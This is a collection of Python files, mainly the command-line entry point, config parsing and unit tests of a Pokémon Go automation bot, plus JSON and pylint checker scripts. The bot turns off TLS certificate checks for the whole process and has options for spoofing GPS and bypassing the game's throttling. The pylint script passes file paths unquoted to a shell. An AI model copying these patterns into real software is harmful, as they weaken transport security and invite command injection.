        X, Y = np.meshgrid(samples_range, features_range)
        Z = np.asarray(timings).reshape(samples_range.shape[0],
                                        features_range.shape[0])
        ax.plot_surface(X, Y, Z.T, cstride=1, rstride=1, color=c, alpha=0.5)
        ax.set_xlabel('n_samples')
        ax.set_ylabel('n_features')

    i = 0
    for c, (label, timings) in zip('br',
                                   sorted(results_2.iteritems())):
        i += 1
        ax = fig.add_subplot(2, 2, i + 2)
        y = np.asarray(timings)
        ax.plot(chunks, y, color=c, alpha=0.8)
        ax.set_xlabel('Chunks')
        ax.set_ylabel(label)

    plt.show()






#! /usr/bin/env python
'''
Check whether a json file is loadable
''' 

import json
import sys

passed = 0
failed = 0
errors = list()

def check(filename):
  global passed, failed

  print "CHECKING ", filename

  f = open(filename).read()
  try:
      _ = json.loads(f)
      print "PASSED: ", filename
      passed += 1
      return True
  except ValueError as e:
      failed += 1
      print "FAILED: ", filename
      errors.append("FILE: " + filename)
      errors.append(e)
      return False
 
  return False
  
if __name__ == "__main__":
  for filename in sys.argv[1:]:
    check(filename)

  print "Passed: " + str(passed) + " Failed: " + str(failed)
  print "\n"
  print "Showing errors:"
  if failed > 0:
    for err in errors:
      print err

    sys.exit("JSON check Failed with errors")






#!/usr/bin/env python
# -*- coding: utf-8 -

import argparse

from pokemongo_bot.socketio_server.runner import SocketIoRunner


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--host",
        help="Host for the websocket",
        type=str,
        default='localhost'
    )
    parser.add_argument(
        "--port",
        help="Port for the websocket",
        type=int,
        default=4000
    )
    config = parser.parse_known_args()[0]

    s = SocketIoRunner("{}:{}".format(config.host, config.port))
    s._start_listening_blocking()






#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
pgoapi - Pokemon Go API
Copyright (c) 2016 tjado <https://github.com/tejado>

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE
OR OTHER DEALINGS IN THE SOFTWARE.

Author: tjado <https://github.com/tejado>
"""

import argparse
import codecs
import json
import logging
import os
import ssl
import sys
reload(sys)
sys.setdefaultencoding('utf8')
import time
import signal
import string
import subprocess
from datetime import timedelta
from getpass import getpass
from pgoapi.exceptions import NotLoggedInException, ServerSideRequestThrottlingException, ServerBusyOrOfflineException
from geopy.exc import GeocoderQuotaExceeded

from pokemongo_bot import inventory
from pokemongo_bot import PokemonGoBot, TreeConfigBuilder
from pokemongo_bot.base_dir import _base_dir
from pokemongo_bot.health_record import BotEvent
from pokemongo_bot.plugin_loader import PluginLoader
from pokemongo_bot.api_wrapper import PermaBannedException

try:
    from demjson import jsonlint
except ImportError:
    # Run `pip install -r requirements.txt` to fix this
    jsonlint = None

if sys.version_info >= (2, 7, 9):
    ssl._create_default_https_context = ssl._create_unverified_context

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(name)10s] [%(levelname)s] %(message)s')
logger = logging.getLogger('cli')
logger.setLevel(logging.INFO)

class SIGINTRecieved(Exception): pass

def main():
    bot = False

    def handle_sigint(*args):
        raise SIGINTRecieved
    signal.signal(signal.SIGINT, handle_sigint)

    def get_commit_hash():
        try:
            hash = subprocess.check_output(['git', 'rev-parse', 'HEAD'], stderr=subprocess.STDOUT)[:-1]

            return hash if all(c in string.hexdigits for c in hash) else "not found"
        except:
            return "not found"

    try:
        logger.info('PokemonGO Bot v1.0')
        logger.info('commit: ' + get_commit_hash())
        sys.stdout = codecs.getwriter('utf8')(sys.stdout)
        sys.stderr = codecs.getwriter('utf8')(sys.stderr)

        config = init_config()
        if not config:
            return

        logger.info('Configuration initialized')
        health_record = BotEvent(config)
        health_record.login_success()

        finished = False

        while not finished:
            try:
                bot = PokemonGoBot(config)
                bot.start()
                tree = TreeConfigBuilder(bot, config.raw_tasks).build()
                bot.workers = tree
                bot.metrics.capture_stats()
                bot.health_record = health_record

                bot.event_manager.emit(
                    'bot_start',
                    sender=bot,
                    level='info',
                    formatted='Starting bot...'
                )

                while True:
                    bot.tick()

            except KeyboardInterrupt:
                bot.event_manager.emit(
                    'bot_exit',
                    sender=bot,
                    level='info',
                    formatted='Exiting bot.'
                )
                finished = True
                report_summary(bot)

            except NotLoggedInException:
                wait_time = config.reconnecting_timeout * 60
                bot.event_manager.emit(
                    'api_error',
                    sender=bot,
                    level='info',
                    formatted='Log logged in, reconnecting in {:d}'.format(wait_time)
                )
                time.sleep(wait_time)
            except ServerBusyOrOfflineException:
                bot.event_manager.emit(
                    'api_error',
                    sender=bot,
                    level='info',
                    formatted='Server busy or offline'
                )
            except ServerSideRequestThrottlingException:
                bot.event_manager.emit(
                    'api_error',
                    sender=bot,
                    level='info',
                    formatted='Server is throttling, reconnecting in 30 seconds'
                )
                time.sleep(30)

    except PermaBannedException:
         bot.event_manager.emit(
            'api_error',
            sender=bot,
            level='info',
            formatted='Probably permabanned, Game Over ! Play again at https://club.pokemon.com/us/pokemon-trainer-club/sign-up/'
         )
    except GeocoderQuotaExceeded:
        raise Exception("Google Maps API key over requests limit.")
    except SIGINTRecieved:
        if bot:
            bot.event_manager.emit(
                'bot_interrupted',
                sender=bot,
                level='info',
                formatted='Bot caught SIGINT. Shutting down.'
            )
            report_summary(bot)
    except Exception as e:
        # always report session summary and then raise exception
        if bot:
            report_summary(bot)

        raise
    finally:
        # Cache here on SIGTERM, or Exception.  Check data is available and worth caching.
        if bot:
            if bot.recent_forts[-1] is not None and bot.config.forts_cache_recent_forts:
                cached_forts_path = os.path.join(
                    _base_dir, 'data', 'recent-forts-%s.json' % bot.config.username
                )
                try:
                    with open(cached_forts_path, 'w') as outfile:
                        json.dump(bot.recent_forts, outfile)
                    bot.event_manager.emit(
                        'cached_fort',
                        sender=bot,
                        level='debug',
                        formatted='Forts cached.',
                    )
                except IOError as e:
                    bot.event_manager.emit(
                        'error_caching_forts',
                        sender=bot,
                        level='debug',
                        formatted='Error caching forts for {path}',
                        data={'path': cached_forts_path}
                        )



def report_summary(bot):
    if bot.metrics.start_time is None:
        return  # Bot didn't actually start, no metrics to show.

    metrics = bot.metrics
    metrics.capture_stats()
    logger.info('')
    logger.info('Ran for {}'.format(metrics.runtime()))
    logger.info('Total XP Earned: {}  Average: {:.2f}/h'.format(metrics.xp_earned(), metrics.xp_per_hour()))
    logger.info('Travelled {:.2f}km'.format(metrics.distance_travelled()))
    logger.info('Visited {} stops'.format(metrics.visits['latest'] - metrics.visits['start']))
    logger.info('Encountered {} pokemon, {} caught, {} released, {} evolved, {} never seen before'
                .format(metrics.num_encounters(), metrics.num_captures(), metrics.releases,
                        metrics.num_evolutions(), metrics.num_new_mons()))
    logger.info('Threw {} pokeball{}'.format(metrics.num_throws(), '' if metrics.num_throws() == 1 else 's'))
    logger.info('Earned {} Stardust'.format(metrics.earned_dust()))
    logger.info('Hatched eggs {}'.format(metrics.hatched_eggs(0)))
    if (metrics.next_hatching_km(0)):
        logger.info('Next egg hatches in {:.2f} km'.format(metrics.next_hatching_km(0)))
    logger.info('')
    if metrics.highest_cp is not None:
        logger.info('Highest CP Pokemon: {}'.format(metrics.highest_cp['desc']))
    if metrics.most_perfect is not None:
        logger.info('Most Perfect Pokemon: {}'.format(metrics.most_perfect['desc']))

def init_config():
    parser = argparse.ArgumentParser()
    config_file = os.path.join(_base_dir, 'configs', 'config.json')
    web_dir = "web"

    # If config file exists, load variables from json
    load = {}

    def _json_loader(filename):
        try:
            with open(filename, 'rb') as data:
                load.update(json.load(data))
        except ValueError:
            if jsonlint:
                with open(filename, 'rb') as data:
                    lint = jsonlint()
                    rc = lint.main(['-v', filename])

            logger.critical('Error with configuration file')
            sys.exit(-1)

    # Select a config file code
    parser.add_argument("-cf", "--config", help="Config File to use")
    config_arg = parser.parse_known_args() and parser.parse_known_args()[0].config or None

    if config_arg and os.path.isfile(config_arg):
        _json_loader(config_arg)
    elif os.path.isfile(config_file):
        logger.info('No config argument specified, checking for /configs/config.json')
        _json_loader(config_file)
    else:
        logger.info('Error: No /configs/config.json or specified config')

    # Read passed in Arguments
    required = lambda x: not x in load
    add_config(
        parser,
        load,
        short_flag="-a",
        long_flag="--auth_service",
        help="Auth Service ('ptc' or 'google')",
        required=required("auth_service"),
        default=None
    )
    add_config(
        parser,
        load,
        short_flag="-u",
        long_flag="--username",
        help="Username",
        default=None
    )
    add_config(
        parser,
        load,
        short_flag="-ws",
        long_flag="--websocket.server_url",
        help="Connect to websocket server at given url",
        default=False
    )
    add_config(
        parser,
        load,
        short_flag="-wss",
        long_flag="--websocket.start_embedded_server",
        help="Start embedded websocket server",
        default=False
    )
    add_config(
        parser,
        load,
        short_flag="-wsr",
        long_flag="--websocket.remote_control",
        help="Enable remote control through websocket (requires websocekt server url)",
        default=False
    )
    add_config(
        parser,
        load,
        short_flag="-p",
        long_flag="--password",
        help="Password",
        default=None
    )
    add_config(
        parser,
        load,
        short_flag="-l",
        long_flag="--location",
        help="Location",
        type=parse_unicode_str,
        default=''
    )
    add_config(
        parser,
        load,
        short_flag="-lc",
        long_flag="--location_cache",
        help="Bot will start at last known location",
        type=bool,
        default=False
    )
    add_config(
        parser,
        load,
        long_flag="--forts.spin",
        help="Enable Spinning Pokestops",
        type=bool,
        default=True,
    )
    add_config(
        parser,
        load,
        short_flag="-wmax",
        long_flag="--walk_max",
        help=
        "Walk instead of teleport with given speed",
        type=float,
        default=2.5
    )
    add_config(
        parser,
        load,
        short_flag="-wmin",
        long_flag="--walk_min",
        help=
        "Walk instead of teleport with given speed",
        type=float,
        default=2.5
    )
    add_config(
        parser,
        load,
        short_flag="-k",
        long_flag="--gmapkey",
        help="Set Google Maps API KEY",
        type=str,
        default=None
    )
    add_config(
        parser,
        load,
        short_flag="-e",
        long_flag="--show_events",
        help="Show events",
        type=bool,
        default=False
    )
    add_config(
        parser,
        load,
        short_flag="-d",
        long_flag="--debug",
        help="Debug Mode",
        type=bool,
        default=False
    )
    add_config(
        parser,
        load,
        short_flag="-t",
        long_flag="--test",
        help="Only parse the specified location",
        type=bool,
        default=False
    )
    add_config(
        parser,
        load,
        short_flag="-du",
        long_flag="--distance_unit",
        help="Set the unit to display distance in (e.g, km for kilometers, mi for miles, ft for feet)",
        type=str,
        default='km'
    )
    add_config(
        parser,
        load,
        short_flag="-rt",
        long_flag="--reconnecting_timeout",
        help="Timeout between reconnecting if error occured (in minutes, e.g. 15)",
        type=float,
        default=15.0
    )
    add_config(
        parser,
        load,
        short_flag="-hr",
        long_flag="--health_record",
        help="Send anonymous bot event to GA for bot health record. Set \"health_record\":false if you need disable it.",
        type=bool,
        default=True
    )
    add_config(
        parser,
        load,
        short_flag="-ac",
        long_flag="--forts.avoid_circles",
        help="Avoids circles (pokestops) of the max size set in max_circle_size flag",
        type=bool,
        default=False,
    )
    add_config(
        parser,
        load,
        short_flag="-mcs",
        long_flag="--forts.max_circle_size",
        help="If avoid_circles flag is set, this flag specifies the maximum size of circles (pokestops) avoided",
        type=int,
        default=10,
    )
    add_config(
        parser,
        load,
        short_flag="-crf",
        long_flag="--forts.cache_recent_forts",
        help="Caches recent forts used by max_circle_size",
        type=bool,
        default=True,
    )
    add_config(
        parser,
        load,
        long_flag="--map_object_cache_time",
        help="Amount of seconds to keep the map object in cache (bypass Niantic throttling)",
        type=float,
        default=5.0
    )
    add_config(
        parser,
        load,
        long_flag="--logging_color",
        help="If logging_color is set to true, colorized logging handler will be used",
        type=bool,
        default=True
    )
    add_config(
        parser,
        load,
        long_flag="--heartbeat_threshold",
        help="A threshold between each heartbeat sending to server",
        type=int,
        default=10
    )
    add_config(
        parser,
        load,
        long_flag="--pokemon_bag.show_at_start",
        help="Logs all pokemon in the bag at bot start",
        type=bool,
        default=False
    )
    add_config(
        parser,
        load,
        long_flag="--pokemon_bag.show_count",
        help="Shows the amount of which pokemon (minimum 1)",
        type=bool,
        default=False
    )
    add_config(
        parser,
        load,
        long_flag="--pokemon_bag.show_candies",
        help="Shows the amount of candies for each pokemon",
        type=bool,
        default=False
    )
    add_config(
        parser,
        load,
        long_flag="--pokemon_bag.pokemon_info",
        help="List with the info to show for each pokemon",
        type=bool,
        default=[]
    )
    add_config(
        parser,
        load,
        long_flag="--alt_min",
        help="Minimum random altitude",
        type=float,
        default=500
    )
    add_config(
        parser,
        load,
        long_flag="--alt_max",
        help="Maximum random altitude",
        type=float,
        default=1000
    )
    add_config(
        parser,
        load,
        long_flag="--replicate_gps_xy_noise",
        help="Add noise to current position",
        type=bool,
        default=False
    )
    add_config(
        parser,
        load,
        long_flag="--replicate_gps_z_noise",
        help="Add noise to current position",
        type=bool,
        default=False
    )
    add_config(
        parser,
        load,
        long_flag="--gps_xy_noise_range",
        help="Intensity of gps noise (unit is lat and lng,) high values may cause issues (default=0.000125)",
        type=float,
        default=0.000125
    )
    add_config(
        parser,
        load,
        long_flag="--gps_z_noise_range",
        help="Intensity of gps noise (unit is in meter, default=12.5)",
        type=float,
        default=12.5
    )
    add_config(
        parser,
        load,
        long_flag="--gps_default_altitude",
        help="Initial altitude (default=8.0)",
        type=float,
        default=8.0
    )


    # Start to parse other attrs
    config = parser.parse_args()
    if not config.username and 'username' not in load:
        config.username = raw_input("Username: ")
    if not config.password and 'password' not in load:
        config.password = getpass("Password: ")

    config.encrypt_location = load.get('encrypt_location', '')
    config.catch = load.get('catch', {})
    config.release = load.get('release', {})
    config.plugins = load.get('plugins', [])
    config.raw_tasks = load.get('tasks', [])
    config.daily_catch_limit = load.get('daily_catch_limit', 800)
    config.vips = load.get('vips', {})

    if config.map_object_cache_time < 0.0:
        parser.error("--map_object_cache_time is out of range! (should be >= 0.0)")
        return None

    if len(config.raw_tasks) == 0:
        logging.error("No tasks are configured. Did you mean to configure some behaviors? Read https://github.com/PokemonGoF/PokemonGo-Bot/wiki/Configuration-files#configuring-tasks for more information")
        return None

    if config.auth_service not in ['ptc', 'google']:
        logging.error("Invalid Auth service specified! ('ptc' or 'google')")
        return None

    def task_configuration_error(flag_name):
        parser.error("""
            \"{}\" was removed from the configuration options.
            You can now change the behavior of the bot by modifying the \"tasks\" key.
            Read https://github.com/PokemonGoF/PokemonGo-Bot/wiki/Configuration-files#configuring-tasks for more information.
            """.format(flag_name))

    old_flags = ['mode', 'catch_pokemon', 'spin_forts', 'forts_spin', 'hatch_eggs', 'release_pokemon', 'softban_fix',
                 'longer_eggs_first', 'evolve_speed', 'use_lucky_egg', 'item_filter', 'evolve_all', 'evolve_cp_min',
                 'max_steps', 'catch_throw_parameters.excellent_rate', 'catch_throw_parameters.great_rate',
                 'catch_throw_parameters.nice_rate', 'catch_throw_parameters.normal_rate',
                 'catch_throw_parameters.spin_success_rate']
    for flag in old_flags:
        if flag in load:
            task_configuration_error(flag)
            return None

    nested_old_flags = [('forts', 'spin'), ('forts', 'move_to_spin'), ('navigator', 'path_mode'), ('navigator', 'path_file'), ('navigator', 'type')]
    for outer, inner in nested_old_flags:
        if load.get(outer, {}).get(inner, None):
            task_configuration_error('{}.{}'.format(outer, inner))
            return None

    if "evolve_captured" in load:
        logger.warning('The evolve_captured argument is no longer supported. Please use the EvolvePokemon task instead')

    if "walk" in load:
        logger.warning('The walk argument is no longer supported. Please use the walk_max and walk_min variables instead')

    if config.walk_min < 1:
        parser.error("--walk_min is out of range! (should be >= 1.0)")
        return None

    if config.alt_min < 0:
        parser.error("--alt_min is out of range! (should be >= 0.0)")
        return None

    if not (config.location or config.location_cache):
        parser.error("Needs either --use-location-cache or --location.")
        return None

    plugin_loader = PluginLoader()
    for plugin in config.plugins:
        plugin_loader.load_plugin(plugin)

    # create web dir if not exists
    try:
        os.makedirs(web_dir)
    except OSError:
        if not os.path.isdir(web_dir):
            raise

    fix_nested_config(config)
    return config

def add_config(parser, json_config, short_flag=None, long_flag=None, **kwargs):
    if not long_flag:
        raise Exception('add_config calls requires long_flag parameter!')

    full_attribute_path = long_flag.split('--')[1]
    attribute_name = full_attribute_path.split('.')[-1]

    if '.' in full_attribute_path: # embedded config!
        embedded_in = full_attribute_path.split('.')[0: -1]
        for level in embedded_in:
            json_config = json_config.get(level, {})

    if 'default' in kwargs:
        kwargs['default'] = json_config.get(attribute_name, kwargs['default'])
    if short_flag:
        args = (short_flag, long_flag)
    else:
        args = (long_flag,)
    parser.add_argument(*args, **kwargs)


def fix_nested_config(config):
    config_dict = config.__dict__

    for key, value in config_dict.iteritems():
        if '.' in key:
            new_key = key.replace('.', '_')
            config_dict[new_key] = value
            del config_dict[key]

def parse_unicode_str(string):
    try:
        return string.decode('utf8')
    except UnicodeEncodeError:
        return string


if __name__ == '__main__':
    main()






#! /usr/bin/env python
'''
Author: gregorynicholas (github), modified by Jacob Henderson (jacohend, github)
Module that runs pylint on all python scripts found in a directory tree..
''' 

import os
#import re
import sys

passed = 0
failed = 0
errors = list()

IGNORED_FILES = ["lcd.py"]

def check(module):
  global passed, failed
  '''
  apply pylint to the file specified if it is a *.py file
  '''
  module_name = module.rsplit('/', 1)[1]
  if module[-3:] == ".py" and module_name not in IGNORED_FILES:
    print "CHECKING ", module
    pout = os.popen('pylint %s'% module, 'r')
    for line in pout:
      if "Your code has been rated at" in line:
        print "PASSED pylint inspection: " + line
        passed += 1
        return True
      if "-error" in line:
        print "FAILED pylint inspection: " + line
        failed += 1
        errors.append("FILE: " + module)
        errors.append("FAILED pylint inspection: " + line)
        return False
  
if __name__ == "__main__":
  try:
    print sys.argv   
    BASE_DIRECTORY = sys.argv[1]
  except IndexError:
    print "no directory specified, defaulting to current working directory"
    BASE_DIRECTORY = os.getcwd()

  print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY

  for root, dirs, files in os.walk(BASE_DIRECTORY):
    for name in files:
      filepath = os.path.join(root, name)
      check(filepath)

  print "Passed: " + str(passed) + " Failed: " + str(failed)
  print "\n"
  print "Showing errors:"
  if failed > 0:
    for err in errors:
      print err

    sys.exit("Pylint failed with errors")






import unittest

from pokemongo_bot.inventory import *


class InventoryTest(unittest.TestCase):
    def test_types(self):
        td = Types
        self.assertIs(types_data(), td)
        self.assertEqual(len(td.STATIC_DATA), 18)
        self.assertEqual(len(td.all()), 18)

        for name, s in td.STATIC_DATA.iteritems():
            assert len(name) > 0
            self.assertIs(s.name, name)
            for t in s.attack_effective_against:
                self.assertIn(s, t.pokemon_vulnerable_to)
            for t in s.attack_weak_against:
                self.assertIn(s, t.pokemon_resistant_to)
            for t in s.pokemon_vulnerable_to:
                self.assertIn(s, t.attack_effective_against)
            for t in s.pokemon_resistant_to:
                self.assertIn(s, t.attack_weak_against)

    def test_pokemons(self):
        # Init data
        self.assertEqual(len(Pokemons().all()), 0)  # No inventory loaded here

        obj = Pokemons
        self.assertEqual(len(obj.STATIC_DATA), 151)

        for idx in xrange(len(obj.STATIC_DATA)):
            pokemon = obj.STATIC_DATA[idx]  # type: PokemonInfo
            name = pokemon.name
            pokemon_id = pokemon.id
            self.assertEqual(pokemon.id, idx+1)
            assert (1 <= pokemon_id <= 151)

            self.assertGreaterEqual(len(pokemon.movesets), 1)
            self.assertIsInstance(pokemon.movesets[0], Moveset)
            assert 262 <= pokemon.max_cp <= 4145
            assert 1 <= len(pokemon.types) <= 2
            assert 40 <= pokemon.base_attack <= 284
            assert 54 <= pokemon.base_defense <= 242
            assert 20 <= pokemon.base_stamina <= 500
            assert .0 <= pokemon.capture_rate <= .56
            assert .0 <= pokemon.flee_rate <= .99
            assert 1 <= len(pokemon._data['Weaknesses']) <= 7
            assert 3 <= len(name) <= 10

            self.assertGreaterEqual(len(pokemon.classification), 11)
            self.assertGreaterEqual(len(pokemon.fast_attacks), 1)
            self.assertGreaterEqual(len(pokemon.charged_attack), 1)

            self.assertIs(obj.data_for(pokemon_id), pokemon)
            self.assertIs(obj.name_for(pokemon_id), name)

            first_evolution_id = obj.first_evolution_id_for(pokemon_id)
            self.assertIs(first_evolution_id, pokemon.first_evolution_id)
            self.assertIs(pokemon.family_id, first_evolution_id)
            self.assertGreaterEqual(first_evolution_id, 1)
            next_evolution_ids = obj.next_evolution_ids_for(pokemon_id)
            self.assertIs(next_evolution_ids, pokemon.next_evolution_ids)
            last_evolution_ids = obj.last_evolution_ids_for(pokemon_id)
            self.assertIs(last_evolution_ids, pokemon.last_evolution_ids)
            candies_cost = obj.evolution_cost_for(pokemon_id)
            self.assertIs(candies_cost, pokemon.evolution_cost)
            self.assertIs(obj.prev_evolution_id_for(pokemon_id), pokemon.prev_evolution_id)
            self.assertGreaterEqual(len(last_evolution_ids), 1)

            if not obj.has_next_evolution(pokemon_id):
                assert not pokemon.has_next_evolution
                self.assertEqual(pokemon.evolution_cost, 0)
                self.assertEqual(pokemon.next_evolution_ids, [])
                self.assertEqual(pokemon.next_evolutions_all, [])
                self.assertEqual(pokemon.last_evolution_ids, [pokemon_id])
            else:
                self.assertGreater(candies_cost, 0)
                self.assertGreaterEqual(len(next_evolution_ids), 1)
                self.assertLessEqual(len(next_evolution_ids), len(last_evolution_ids))

                reqs = pokemon._data['Next Evolution Requirements']
                self.assertEqual(reqs["Family"], first_evolution_id)
                candies_name = obj.name_for(first_evolution_id) + ' candies'
                self.assertEqual(reqs["Name"], candies_name)
                assert 12 <= candies_cost <= 400
                self.assertEqual(reqs["Amount"], candies_cost)

                evolutions = pokemon._data["Next evolution(s)"]
                self.assertGreaterEqual(len(evolutions), len(next_evolution_ids))

                for p in evolutions:
                    p_id = int(p["Number"])
                    self.assertNotEqual(p_id, pokemon_id)
                    self.assertEqual(p["Name"], obj.name_for(p_id))

                for p_id in next_evolution_ids:
                    self.assertEqual(obj.prev_evolution_id_for(p_id), pokemon_id)
                    prev_evs = obj.data_for(p_id)._data["Previous evolution(s)"]
                    self.assertGreaterEqual(len(prev_evs), 1)
                    self.assertEqual(int(prev_evs[-1]["Number"]), pokemon_id)
                    self.assertEqual(prev_evs[-1]["Name"], name)

                # Only Eevee has 3 next evolutions
                self.assertEqual(len(next_evolution_ids),
                                 1 if pokemon_id != 133 else 3)

            if "Previous evolution(s)" in pokemon._data:
                for p in pokemon._data["Previous evolution(s)"]:
                    p_id = int(p["Number"])
                    self.assertNotEqual(p_id, pokemon_id)
                    self.assertEqual(p["Name"], obj.name_for(p_id))

        #
        # Specific pokemons testing

        poke = Pokemon({
            "num_upgrades": 2, "move_1": 210, "move_2": 69, "pokeball": 2,
            "favorite": 1, "pokemon_id": 42, "battles_attacked": 4,
            "stamina": 76, "stamina_max": 76, "individual_attack": 9,
            "individual_defense": 4, "individual_stamina": 8,
            "cp_multiplier": 0.4627983868122101,
            "additional_cp_multiplier": 0.018886566162109375,
            "cp": 653, "nickname": "Golb", "id": 13632861873471324})
        self.assertEqual(poke.level, 12.5)
        self.assertEqual(poke.iv, 0.47)
        self.assertAlmostEqual(poke.ivcp, 0.488747515)
        self.assertAlmostEqual(poke.static.max_cp, 1921.34561459)
        self.assertAlmostEqual(poke.cp_percent, 0.340368964)
        assert poke.is_favorite
        self.assertEqual(poke.name, 'Golbat')
        self.assertEqual(poke.nickname, "Golb")
        self.assertEqual(poke.nickname_raw, poke.nickname)
        self.assertAlmostEqual(poke.moveset.dps, 10.7540173053)
        self.assertAlmostEqual(poke.moveset.dps_attack, 12.14462299)
        self.assertAlmostEqual(poke.moveset.dps_defense, 4.876681614)
        self.assertAlmostEqual(poke.moveset.attack_perfection, 0.4720730048)
        self.assertAlmostEqual(poke.moveset.defense_perfection, 0.8158081497)

        poke = Pokemon({
            "move_1": 221, "move_2": 129, "pokemon_id": 19, "cp": 106,
            "individual_attack": 6, "stamina_max": 22, "individual_defense": 14,
            "cp_multiplier": 0.37523558735847473, "id": 7841053399})
        self.assertEqual(poke.level, 7.5)
        self.assertEqual(poke.iv, 0.44)
        self.assertAlmostEqual(poke.ivcp, 0.3804059)
        self.assertAlmostEqual(poke.static.max_cp, 581.64643575)
        self.assertAlmostEqual(poke.cp_percent, 0.183759867)
        self.assertFalse(poke.is_favorite)
        self.assertEqual(poke.name, 'Rattata')
        self.assertEqual(poke.nickname, poke.name)
        self.assertEqual(poke.nickname_raw, '')
        self.assertAlmostEqual(poke.moveset.dps, 12.5567813108)
        self.assertAlmostEqual(poke.moveset.dps_attack, 15.6959766385)
        self.assertAlmostEqual(poke.moveset.dps_defense, 5.54282440561)
        self.assertAlmostEqual(poke.moveset.attack_perfection, 0.835172881385)
        self.assertAlmostEqual(poke.moveset.defense_perfection, 0.603137650999)

    def test_levels_to_cpm(self):
        l2c = LevelToCPm
        self.assertIs(levels_to_cpm(), l2c)
        max_cpm = l2c.cp_multiplier_for(l2c.MAX_LEVEL)
        self.assertEqual(l2c.MAX_LEVEL, 40)
        self.assertEqual(l2c.MAX_CPM, max_cpm)
        self.assertEqual(len(l2c.STATIC_DATA), 79)

        self.assertEqual(l2c.cp_multiplier_for("1"), 0.094)
        self.assertEqual(l2c.cp_multiplier_for(1), 0.094)
        self.assertEqual(l2c.cp_multiplier_for(1.0), 0.094)
        self.assertEqual(l2c.cp_multiplier_for("17.5"), 0.558830576)
        self.assertEqual(l2c.cp_multiplier_for(17.5), 0.558830576)
        self.assertEqual(l2c.cp_multiplier_for('40.0'), 0.79030001)
        self.assertEqual(l2c.cp_multiplier_for(40.0), 0.79030001)
        self.assertEqual(l2c.cp_multiplier_for(40), 0.79030001)

        self.assertEqual(l2c.level_from_cpm(0.79030001), 40.0)
        self.assertEqual(l2c.level_from_cpm(0.7903), 40.0)

    def test_attacks(self):
        self._test_attacks(fast_attacks, FastAttacks)
        self._test_attacks(charged_attacks, ChargedAttacks)

    def _test_attacks(self, callback, clazz):
        charged = clazz is ChargedAttacks
        self.assertIs(callback(), clazz)

        # check consistency
        attacks = clazz.all_by_dps()
        number = len(attacks)
        assert (number > 0)
        self.assertGreaterEqual(len(clazz.BY_TYPE), 17)
        self.assertEqual(number, len(clazz.all()))
        self.assertEqual(number, len(clazz.STATIC_DATA))
        self.assertEqual(number, len(clazz.BY_NAME))
        self.assertEqual(number, sum([len(l) for l in clazz.BY_TYPE.values()]))

        # check data
        prev_dps = float("inf")
        for attack in attacks:  # type: Attack
            self.assertGreater(attack.id, 0)
            self.assertGreater(len(attack.name), 0)
            self.assertIsInstance(attack.type, Type)
            self.assertGreaterEqual(attack.damage, 0)
            self.assertGreater(attack.duration, .0)
            self.assertGreater(attack.energy, 0)
            self.assertGreaterEqual(attack.dps, 0)
            assert (.0 <= attack.rate_in_type <= 1.0)
            self.assertLessEqual(attack.dps, prev_dps)
            self.assertEqual(attack.is_charged, charged)
            self.assertIs(attack, clazz.data_for(attack.id))
            self.assertIs(attack, clazz.by_name(attack.name))
            assert (attack in clazz.list_for_type(attack.type))
            assert (attack in clazz.list_for_type(attack.type.name))
            self.assertIsInstance(attack, ChargedAttack if charged else Attack)
            prev_dps = attack.dps






import unittest
from sys import platform as _platform
from datetime import datetime, timedelta
from mock import call, patch, MagicMock
from pokemongo_bot.cell_workers.update_live_stats import UpdateLiveStats
from tests import FakeBot


class UpdateLiveStatsTestCase(unittest.TestCase):
    config = {
        'min_interval': 20,
        'stats': ['login', 'username', 'pokemon_evolved', 'pokemon_encountered', 'uptime',
                  'pokemon_caught', 'stops_visited', 'km_walked', 'level', 'stardust_earned',
                  'level_completion', 'xp_per_hour', 'pokeballs_thrown', 'highest_cp_pokemon',
                  'level_stats', 'xp_earned', 'pokemon_unseen', 'most_perfect_pokemon',
                  'pokemon_stats', 'pokemon_released', 'captures_per_hour'],
        'terminal_log': True,
        'terminal_title': False
    }
    player_stats = {
        'level': 25,
        'prev_level_xp': 1250000,
        'next_level_xp': 1400000,
        'experience': 1337500
    }

    def setUp(self):
        self.bot = FakeBot()
        self.bot._player = {'username': 'Username'}
        self.bot.config.username = 'Login'
        self.worker = UpdateLiveStats(self.bot, self.config)

    def mock_metrics(self):
        self.bot.metrics = MagicMock()
        self.bot.metrics.runtime.return_value = timedelta(hours=15, minutes=42, seconds=13)
        self.bot.metrics.distance_travelled.return_value = 42.05
        self.bot.metrics.xp_per_hour.return_value = 1337.42
        self.bot.metrics.xp_earned.return_value = 424242
        self.bot.metrics.visits = {'latest': 250, 'start': 30}
        self.bot.metrics.num_encounters.return_value = 130
        self.bot.metrics.num_captures.return_value = 120
        self.bot.metrics.captures_per_hour.return_value = 75
        self.bot.metrics.releases = 30
        self.bot.metrics.num_evolutions.return_value = 12
        self.bot.metrics.num_new_mons.return_value = 3
        self.bot.metrics.num_throws.return_value = 145
        self.bot.metrics.earned_dust.return_value = 24069
        self.bot.metrics.highest_cp = {'desc': 'highest_cp'}
        self.bot.metrics.most_perfect = {'desc': 'most_perfect'}

    def test_config(self):
        self.assertEqual(self.worker.min_interval, self.config['min_interval'])
        self.assertEqual(self.worker.displayed_stats, self.config['stats'])
        self.assertEqual(self.worker.terminal_title, self.config['terminal_title'])
        self.assertEqual(self.worker.terminal_log, self.config['terminal_log'])

    def test_should_display_no_next_update(self):
        self.worker.next_update = None

        self.assertTrue(self.worker._should_display())

    @patch('pokemongo_bot.cell_workers.update_live_stats.datetime')
